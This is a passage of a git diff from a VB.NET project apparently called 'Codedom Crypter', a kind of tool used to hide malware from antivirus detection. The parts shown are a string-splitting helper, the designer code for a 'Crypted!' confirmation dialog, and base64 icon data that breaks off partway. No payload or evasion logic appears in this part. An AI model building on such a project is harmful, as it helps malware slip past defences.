(partsize) + input.CopyTo(currentpos, temp, 0, partsize) ' Copying the current Part to the temp array + out(I) = Convert.ToString(temp) ' Current part is appended to the output string + currentpos += partsize ' Currentposition is increase to catch the next part in the next "round" of the loop + End If + Next + Return out ' Return the Output String + End Function +End Class diff --git a/scode (Codedom Crypter/WindowsApplication1/Form2.Designer.vb b/scode (Codedom Crypter/WindowsApplication1/Form2.Designer.vb new file mode 100644 index 0000000..e86635d --- /dev/null +++ b/scode (Codedom Crypter/WindowsApplication1/Form2.Designer.vb @@ -0,0 +1,78 @@ + _ +Partial Class Form2 + Inherits System.Windows.Forms.Form + + 'Form overrides dispose to clean up the component list. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Required by the Windows Form Designer + Private components As System.ComponentModel.IContainer + + 'NOTE: The following procedure is required by the Windows Form Designer + 'It can be modified using the Windows Form Designer. + 'Do not modify it using the code editor. + _ + Private Sub InitializeComponent() + Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form2)) + Me.Button1 = New System.Windows.Forms.Button + Me.Label1 = New System.Windows.Forms.Label + Me.SuspendLayout() + ' + 'Button1 + ' + Me.Button1.BackColor = System.Drawing.Color.White + Me.Button1.BackgroundImage = Global.XD.My.Resources.Resources.images + Me.Button1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch + Me.Button1.FlatStyle = System.Windows.Forms.FlatStyle.Popup + Me.Button1.ForeColor = System.Drawing.Color.White + Me.Button1.Location = New System.Drawing.Point(12, 73) + Me.Button1.Name = "Button1" + Me.Button1.Size = New System.Drawing.Size(160, 36) + Me.Button1.TabIndex = 0 + Me.Button1.Text = "Ok" + Me.Button1.UseVisualStyleBackColor = False + ' + 'Label1 + ' + Me.Label1.AutoSize = True + Me.Label1.BackColor = System.Drawing.Color.Transparent + Me.Label1.Font = New System.Drawing.Font("Comic Sans MS", 26.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label1.ForeColor = System.Drawing.Color.White + Me.Label1.Location = New System.Drawing.Point(12, 9) + Me.Label1.Name = "Label1" + Me.Label1.Size = New System.Drawing.Size(160, 49) + Me.Label1.TabIndex = 1 + Me.Label1.Text = "Crypted!" + ' + 'Form2 + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.BackgroundImage = Global.XD.My.Resources.Resources.images + Me.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch + Me.ClientSize = New System.Drawing.Size(179, 121) + Me.Controls.Add(Me.Label1) + Me.Controls.Add(Me.Button1) + Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle + Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon) + Me.MaximizeBox = False + Me.MinimizeBox = False + Me.Name = "Form2" + Me.Text = "Crypted!" + Me.TopMost = True + Me.ResumeLayout(False) + Me.PerformLayout() + + End Sub + Friend WithEvents Button1 As System.Windows.Forms.Button + Friend WithEvents Label1 As System.Windows.Forms.Label +End Class diff --git a/scode (Codedom Crypter/WindowsApplication1/Form2.resx b/scode (Codedom Crypter/WindowsApplication1/Form2.resx new file mode 100644 index 0000000..2eab9f1 --- /dev/null +++ b/scode (Codedom Crypter/WindowsApplication1/Form2.resx @@ -0,0 +1,377 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAMAMDAAAAEAIACoJQAANgAAACAgAAABACAAqBAAAN4lAAAQEAAAAQAgAGgEAACGNgAAKAAAADAA + AABgAAAAAQAgAAAAAAAAJAAAAAAAAAAAAAAAAAAAAAAAAP///wD8/PwA/Pz8APz8/AD///8A/Pz8AP// + /wD///8A////AP///wD///8A/Pz8APz8/AD///8A/Pz8APz8/AD///8A/Pz8APz8/AD///8A/Pz8APz8 + /AD///8A////APz8/AD///8A////APz8/AD///8A////APz8/AD///8A////APz8/AD///8A////APz8 + /AD///8A////APz8/AD///8A////AP///wD///8A/Pz8AP///wD///8A/Pz8AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////APz8 + /AD8/PwA/Pz8APz8/AD8/PwA/Pz8APz8/AD8/PwA/Pz8APz8/AD8/PwA/Pz8APz8/AD8/PwA/Pz8APz8 + /AD8/PwA/Pz8APz8/AD8/PwA/Pz8APz8/AD8/PwA/Pz8APz8/AD8/PwA/Pz8APz8/AD8/PwA/Pz8APz8 + /AD8/PwA/Pz8APz8/AD8/PwA/Pz8APz8/AD8/PwA/Pz8APz8/AD8/PwA/Pz8APz8/AD8/PwA/Pz8APz8 + /AD8/PwA/Pz8AP///wD8/PwA////AP///wD8/PwA////APz8/AD8/PwA/Pz8APz8/AD///8A/Pz8APz8 + /AD///8A/Pz8APz8/AD///8A/Pz8APz8/AD///8A/Pz8APz8/AD///8A/Pz8APz8/AD///8A/Pz8APz8 + /AD///8A/Pz8APz8/AD///8A/Pz8APz8/AD///8A/Pz8APz8/AD///8A/Pz8APz8/AD///8A/Pz8APz8 + /AD///8A/Pz8APz8/AD///8A/Pz8AP///wD///8A////AP///wD8/fwA/P38APz9/AD8/fwA/P38AP// + /wD///8A////AP///wD8/fwA/P38APz9/AD8/fwA/P38APz9/AD8/fwA/P38APz9/AD8/fwA/P38APz9 + /AD8/fwA/P38APz9/AD8/fwA/P38APz9/AD8/fwA/P38APz9/AD8/fwA////AP///wD///8A////APz9 + /AD8/fwA/P38APz9/AD8/fwA////AP///wD///8A////AP///wD8/PwA/Pz8APz9/AD8/fwA+v37Afr9 + +wP6/fsD+v37Afz9/AD8/fwA/Pz8APz9/AD6/fsB+v37A/r9+wP6/fsD+v37A/r9+wP6/fsD+v37A/r9 + +wP6/fsB/P38APz9/AD6/fsB+v37A/r9+wP6/fsD+v37A/r9+wP6/fsD+v37A/r9+wP6/fsB/P38APz8 + /AD8/fwA/P38APr9+wH6/fsD+v37A/r9+wH8/fwA/P38APz8/AD8/PwA/Pz8AP///wD8/PwA/P38APr9 + +wH4/foD9v35Bvb9+Qf2/fkH+P36Bfr9+wP6/fsB/P38APr9+wP4/foF9v35B/T9+Af0/fgH9P34B/b9 + +Qf0/fgH9P34B/b9+Qf2/fkG+P36Bfj9+gX2/fkG9v35B/T9+Af0/fgH9v35B/T9+Af0/fgH9P34B/b9 + +Qf4/foF+v37A/z9/AD6/fsB+v37A/j9+gX2/fkH9v35B/b9+Qb4/foD+v37Afz9/AD///8A/Pz8AP// + /wD8/fwA/P38APj9+gP0/fgJ8P31DO799A/u/fQO8v33Cvb9+Qf4/foF+P36A/b9+Qfy/fcK7v30Duz9 + 8w/s/fMP7v30D+799A/s/fMP7P3zD+799A7w/fUM8v33CvL99wrw/fUM7v30Duz98w/s/fMP7v30D+79 + 9A/s/fMP7P3zD+799A7y/fcK9v35B/j9+gP4/foF9v35B/L99wru/fQO7v30D/D99Qz0/fgJ+P36Bfz9 + /AD8/fwA////APz8/AD8/fwA+v37A/T9+Afu/fQP5v3wFeT97hnk/e4Y6P3xFO799A7y/fYK9P34CfD9 + 9Qzq/fIT5P3uGOL97Rri/e0a4v3tGeL97Rni/e0a4v3tGuT97hno/fEV6v3yEur98hLo/fEV5P3uGeL9 + 7Rri/e0a4v3tGeL97Rni/e0a4v3tGuT97hjq/fIT8P31DPT9+Any/fYK7v30Duj98RTk/e4Y5P3uGeb9 + 8BXs/fMP9P34Cfr9+wP8/fwA/Pz8AP///wD8/fwA9v35Bu799A7k/e4Z2v3pI9T95SjW/eYm3P3qH+T9 + 7hjs/fMR7P3zEeb98BXe/esf1v3mJtL95CvS/eQr0v3kKtL95CrS/eQr0v3kK9T95Sja/ekj3v3rH979 + 6x/a/egj1P3lKNL95CvS/eQr0v3kKtL95CrS/eQr0v3kK9b95ibe/esf5v3wFez98xHq/fIS5P3uGNz9 + 6h/W/eYm1P3lKNr96CPk/e4Z7v30D/b9+Qb8/fwA/Pz8APz9/AD6/fsD8v33Cub98BXY/eclyP3eM8L9 + 2jrE/ds4zP3gMNj95yXg/ewd4P3sHNr96SPO/eIuxP3bOL792D+8/dc/vv3YPr792D6+/dg/vv3YP8L9 + 2jrI/d41zv3iL8794i/I/d41wP3ZPLz91z+8/dc/vv3YPr792D68/dc/vv3YP8T92zjO/eIu2v3pI+D9 + 7Bzg/ewd2P3nJcz94DDE/ds4wv3aOsj93jPW/eYm5v3vF/L99gr6/fsD/P38APz9/AD4/foD7v30Dt79 + 6x/I/d41tv3TR6z9zlCs/c5QuP3VRcb93TXQ/eMr0v3kK8j93jO6/dZCrP3OUKb9ylek/clXpv3KVqb9 + ylak/clXpP3JV6r9zVOy/dFKuP3URLj91ESy/dFLqv3NU6T9yVek/MlXpv3KVqb9ylak/MlXpv3KV6z9 + zlC6/dZCyP3eM9L95CvQ/eMrxv3dNbj91UWs/c5Qqv3NUrT90kjI/d413P3qH+799A/4/foF/P38APz9 + /AD2/fkH6P3xFNL95Cq2/dRGnvzGXpL9vmuU/cBpoPzGXLL90Uu+/dg+wP3ZPLT90kii/chalP3AaYz9 + u3GK/LpyjP27cYz9u3GK/blyiv26cpD9vW2Y/cJkoP3HXKD9x1yY/cJkkP29bYr8uXKK/bpyjP27cYz8 + u3GK/bpyjP27cZT9wGmk/MlZtP3SSMD92Ty+/dg/sv3RS6D9x1yU/b9pkv2+a579xV62/dRH0v3kK+j9 + 8RX2/fkH/P38APz9/AD0/fgJ4v3tGcb93TWm/MpXiP24dXj8r4V6/LGEhvy3dZr8w2Oo/MtVqv3NU5z8 + xGCK/LlyePyvhHD8q45u/KqQcPyrjnD8q45u/KqObvyqjnT8rYl+/LN+hvy4d4b8uHd+/LN+dPytiW78 + qo5u/KqQcPyrjnD8qo5u/KqQcPyqjnj8r4SK/blynvzGXqr9zVOo/MtVmv3DY4b9uHV4/K+EePyvhYj9 + uXWk/MlZxv3dN+L97Rry/fcK+v37Afr9+wHw/fUM3P3qH7z910GU/L9pW7iCrTliSuNFkmXLbPinkoD9 + tHyQ/b1tkP29a4T9tnlw/KqNSqpywTZkSOVBnWfOVPuaqFb8nKhDrnDHNmNI5UWcaslk/KOaavynk2r8 + p5Ni+6KbQ5tnyjdjSOVErXDHVPuaqFT7mqhBnWfNNmNI5UqpcsFw/KqNhP22eZD9vWuQ/b1tgP20fWz4 + p5JFk2XLOWNK41u4gq6S/b5quv3WQ9z96iHw/fUM+v37A/r9+wPu/fQO1v3mJrD90EyA87F+NDw3+DMz + M/01NTX/RJVl0Gj8ppZ2/K6Idvyuhmr8p5NKuXm/NDU0/TMzM/80NTT9OMt1zjnjgMcwNTL9Ljgy/DU2 + Nf1DuHPJUvyZrFL8maw/sG7NNTY2/S44MvwyNTP9Ot9/yDjUeso0NTT9MzMz/zU2Nf1Mu3q/avynk3b8 + roZ2/K6IaPymlkKUZNI0NDT9MzMz/zU7N/p87KuDrv3PTdb95ibu/fQP+v37A/j9+gPs/fMP0v3kK6j8 + y1VozJKcNI9a3S/DbdUst2bcNEU7+EvnjLVc/J6hXvygoFD3lq00UD/zKaZd4ybDaN4js1/lKZhX6Ci4 + ZOAkvGPjJthw2yisX+M1Sj34Ou6Fxjjsg8cyRTr4J6dc5SbYcNsks2DlKLZk4CinXOUlrV3lJsJn3iug + W+M4VkXyUviYrF78oKBc/J6hS+SLtTBEOfgsu2fcLsRt1TWWXdthvYenpvzKV9D94y3s/fMR+P36A/j9 + +gPq/fISzP3gMKD9xl1d0o6kOZxi1zU2Nv8sXUD1Kp5a6DeDV+VG+5K4RvuStjejZNoshVDtKH5M7jY2 + Nv8kgEvzHMNi6hrda+ckiE7yNjY2/yaDTPApfkzyLoRS7S2BT+0mhU7wKHdI8jY2Nv8kiU7yG9Rp6BzQ + Z+gmeEjzNjY2/yl/Te4se03wOqpp10b7krZG+5K4Nn1T5SqmXeUrXED1NTY1/TmlZtVaxYasnvzGXsz9 + 4DHq/fIT+P36Bfj9+gXo/fEUyv3fMpr9w2Ni+KGbO2lO7VdXV/9OTk79J6Ja6y5TPfgx2nfUMe6Bzi9L + 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 + Ytxa/J2jdvyuiHr8sYNk6pybR8N7wDrFdMowdUzlRviRuEb4kbgxfFDjO8d2yUzLgLpp8aKUfvyyfnj8 + r4Vc/J+hNp5i20NEQ/0XyGHuFPhz6hb7decW+3XoFPl06h6cUvNERET/QMJ2x3j8r4Ws/c5Q1v3mJvD9 + 9Qz6/fsD/P38AP///wD6/fsB8P31DNr96CKy/dFKfvyzfkSzcsgvWUH3HPZ34Bz8euAft1/pIJ9V7R77 + e+Ac+3ngK3pL8jmCWOJi/KObgPy0fYj8uHR8/LKBWcWGrTdkSeBW4ZCsXvygn178oJ9W4JCsN2NJ4F/Q + jqaA/bR9jPy7cIT9tnlk/KSZOo1d3St6S/Ic+3ngHvx74CCZU+4gvmLoHPt54Bz1d+AvWkH3QadszX78 + s3+y/dFL2v3oI/D99Qz6/fsB/Pz8AP///wD6/fsB8v33Ctz96h+2/dNGhv24eDpiSuUw1HXUKPyA1Sfl + d9kofkvqKpJV5SjNbd4o/IDWLe190DFOPPNq9qWUjP27cZj9wmSQ/b1tgPy0fHj8r4Z2/K6GevyxhHr8 + sYR4/K+GePyvhIT8tnmS/b5qnP3EYY79vG5s+KeRME078y7rfdAo/IDWJslq3iqSVeUogEzqJ+d42Sj8 + gNUw1nXTOV9J6IT9tnm2/dRH3P3qH/L99wr6/fsB////AP///wD8/fwA9P34CeD97B28/dc/jvy8b0Wp + bsVC+5C7OPqJxix7Teg+7YfCQPmNvS55Tec084XJPvyOv0S9dsRw6KKOmPzCZKj9y1Wk/clZmPzCZJL8 + vmuS/L5rlPzAZ5T8wGeS/L5qkvy+apr8w2Km/cpWqv3MUpz8xGFz7aaLQrh0xT78jr808YTJLXhM6ED6 + jr0+7IfCLX9O6Dj7icZC+5C7Raluxoz8u3C8/ddB4P3sHfT9+An8/fwA/Pz8AP///wD8/fwA9P34B+T9 + 7hnE/dw4mP3CZGvyo5Q/tG/JN5de10TBeMJW/JynWPydpkveiLY1h1fePrhxyWHwnJyB8rB8pv3KVrj9 + 1EW4/dRFsP3QTKz9zVCs/c1Qrv3PTa79z02s/c5QrP3NULL90Uu6/dZCuv3WQqr9zVOE87N5Ye6cnEC7 + c8gyflLgTOCKtVj8naZW/JynRL53xDigY9Y/tG/JafGilJj9wmTC/do64v3tGfT9+Af8/fwA/Pz8AP// + /wD8/fwA9v35B+b98BXK/d8ypv3KV4L8tXtGh2HLR5ZoyGj8ppRw/KqOcPyqjWr8p5ROsXi8PXJT13b3 + rIeY/cJktv3UR8b93TXK/d8yxv3dN8L92zrC/do6xv3dN8b93TfE/ds4wv3aOsb93TXM/eAxyP3eM7j9 + 1EWa/cNjdvWshj5vU9dOs3i7avynlHD8q41w/KuOaPymlkaTZslHimPJgPy0fKT9yVfK/d8y5v3vFfb9 + +Qf8/fwA////APz8/AD8/fwA+P36Ber98hLU/eUptP3SSJb8wWeC/LV7fPyxgYL8tXmK/Lpyivy6cYT8 + tnl8/LF/fvyyfo78vG6q/c1TxP3cONT95SjY/eck1v3mJtT95SjW/eYm2P3nJdj95yXW/eYm1v3mJtj9 + 5yXa/eki1v3mJsb93Teq/c1SkPy9bYD8tH5+/LJ/hPy2eYr8unGK/Lpygvy1e3z8soGC/LV8lPy/Z7T9 + 0knS/eQq6v3yEvj9+gX8/fwA/Pz8AP///wD8/fwA+P36A+799A7c/eofxP3cOKr9zVKa/MNilv3BZZz8 + xGCk/clZpPzJV578xl6Y/cJkmP3CZKb8yle8/ddB0v3kK+D97Bzk/e4Y5P3uGOT97hnk/e4Y5v3wFeb9 + 7xXk/e4Y5P3uGOb97xfm/fAV4v3tGtL95Cq8/ddBpv3KV5j9wmSY/cJknv3GXqT9yVek/MlZnP3EYJb9 + wWWa/cNjqv3NU8L92zrc/eoh7v30Dvj9+gP8/fwA/Pz8AP///wD8/fwA+v37AfL99wrk/e4Y0v3kK779 + 2D6y/dFLsP3QTbb900e8/ddBvP3XP7b91Eaw/dBNsP3QTLr91kLM/eAx3v3rH+r98hPu/fQO7v30Du79 + 9A7u/fQO8P31DPD99Qzw/fUM7v30DvD99Qzu/fQO6v3yEt796x7M/eAwuv3WQrD90Eyw/dBMtv3URrz9 + 1z+8/ddBtv3TR7D90E2y/dFLvv3YP9D94yvk/e4Y8v32Cvr9+wP8/fwA////AP///wD8/PwA/P38APb9 + +Qbs/fMR3v3rHtD94y3G/d01xv3dN8r93zLQ/eMt0P3jK8z94DHG/d03xv3dN8794i/a/eki6P3xFfD9 + 9Qz0/fgH9v35B/b9+Qf2/fkH9v35Bvb9+Qb2/fkH9v35B/b9+Qf2/fkH8v33Cuj98RXa/egizv3iL8b9 + 3TfG/d01zP3gMdD94yvQ/eMtyv3fMsb93TfG/d010P3jLd796x/s/fMR9v35B/z9/AD///8A/Pz8AP// + /wD8/PwA/P38APj9+gPy/fcK6P3xFN796x7Y/eck2P3nJdz96iHg/ewd4P3sHdz96h/Y/eck2P3nJd79 + 6x/m/e8V8P31DPb9+Qf4/foD+v37A/r9+wP6/fsD+v37Afr9+wH6/fsD+v37A/r9+wP6/fsD9v35BvD9 + 9Qzm/e8V3v3rH9j95yTY/eck3P3qH+D97B3g/ewd3P3qIdj95yXY/eck3v3rHuj98RTy/fcK+P36A/z9 + /AD///8A/Pz8APz8/AD8/PwA/P38APr9+wH2/fkG8P31DOr98hLm/e8V5v3wF+j98RTs/fMR7P3zEer9 + 8hPm/fAV5v3wF+j98RTu/fQO9v35B/r9+wP8/fwA/P38APz9/AD8/fwA/P38APz9/AD8/fwA/P38APz9 + /AD8/fwA+v37A/b9+Qfw/fUM6v3yE+b97xfm/fAV6v3yE+z98xHs/fMR6P3xFOb97xfm/e8X6v3yEvD9 + 9Qz2/fkG+v37Afz9/AD8/PwA/Pz8AP///wD///8A////APz9/AD6/fsD9v35BvL99wrw/fUM8P31DPL9 + 9wr0/fgJ9P34CfL99wrw/fUM8P31DPL99wr2/fkH+P36A/z9/AD8/fwA////AP///wD///8A////AP// + /wD///8A////AP///wD8/fwA/P38APr9+wP2/fkH8v33CvD99Qzw/fUM8v33CvT9+An0/fgJ8v33CvD9 + 9Qzw/fUM8v33Cvb9+Qb6/fsD/P38AP///wD///8A////AP///wD8/PwA////APz9/AD8/fwA+v37A/j9 + +gX2/fkG9v35Bvj9+gX4/foD+P36A/j9+gX2/fkG9v35Bvj9+gX6/fsD/P38APz9/AD///8A////AP// + /wD///8A/Pz8AP///wD///8A/Pz8AP///wD///8A/P38APz9/AD6/fsD+P36Bfb9+Qb2/fkG+P36Bfj9 + +gP4/foD+P36Bfb9+Qb2/fkG+P36Bfr9+wP8/fwA/P38APz8/AD///8A/Pz8APz8/AD8/PwA/Pz8APz8 + /AD8/fwA/P38APr9+wH6/fsB+v37Afr9+wH8/fwA/P38APr9+wH6/fsB+v37Afr9+wH8/fwA/P38APz8 + /AD8/PwA/Pz8APz8/AD8/PwA/Pz8APz8/AD8/PwA/Pz8APz8/AD8/PwA/Pz8APz9/AD8/fwA+v37Afr9 + +wH6/fsB+v37Afz9/AD8/fwA+v37Afr9+wH6/fsB+v37Afz9/AD8/fwA/Pz8APz8/AD8/PwA/Pz8AP// + /wD///8A////AP///wD///8A////APz9/AD8/fwA/P38APz9/AD///8A////APz9/AD8/fwA/P38APz9 + /AD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A/P38APz9/AD8/fwA/P38AP///wD///8A/P38APz9/AD8/fwA/P38AP///wD///8A////AP// + /wD///8A////AP///////wAA////////AAD///////8AAP///////wAA////////AAD///////8AAP// + /////wAA////////AAD///////8AAP///////wAA////////AAD///////8AAP///////wAA/PwDwD8/ + AAD4eAAAHh8AAPgAAAAADwAA8AAAAAAPAADwAAAAAA8AAPAAAAAADwAA8AAAAAAPAADwAAAAAA8AAPAA + AAAADwAA8AAAAAAPAADwAAAAAA8AAPAAAAAADwAA8AAAAAAPAADwAAAAAA8AAPgAAAAAHwAA+AAAAAAf + AAD4AAAAAB8AAPgAAAAAHwAA+AAAAAAfAAD4AAAEAB8AAPwAYA4APwAA/AB4HgA/AAD8AH/+AD8AAPwA + //8APwAA/gD//wB/AAD/f////v8AAP///////wAA////////AAD///////8AAP///////wAA//////// + AAD///////8AAP///////wAA////////AAD///////8AACgAAAAgAAAAQAAAAAEAIAAAAAAAABAAAAAA + AAAAAAAAAAAAAAAAAAD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////APz9/AD///8A////AP// + /wD///8A////APz9/AD8/fwA/P38APz9/AD8/fwA////AP///wD8/fwA/P38APz9/AD8/fwA/P38AP// + /wD///8A////AP///wD///8A/P38AP///wD///8A////AP///wD///8A////APz9/AD6/fsB+v37Afz9 + /AD8/fwA////APz9/AD6/fsB+v37A/r9+wP6/fsD+v37A/r9+wH8/fwA/P38APr9+wH6/fsD+v37A/r9 + +wP6/fsD+v37Afz9/AD///8A/P38APz9/AD6/fsB+v37Afz9/AD///8A////AP///wD8/fwA+v37A/b9 + +Qf0/fgJ9v35B/r9+wP6/fsB+P36A/T9+Afy/fcK9P34CfT9+Any/fYK9P34B/b9+Qb2/fkG9P34B/L9 + 9gr0/fgJ9P34CfL99gr0/fgH+P36A/r9+wH6/fsD9v35B/T9+An2/fkH+v37A/z9/AD///8A/P38APr9 + +wH0/fgJ6v3yEub98BXq/fIS8v33CvT9+Afw/fUM6P3xFOT97hjm/fAX5v3wF+T97hjo/fEV7P3zEez9 + 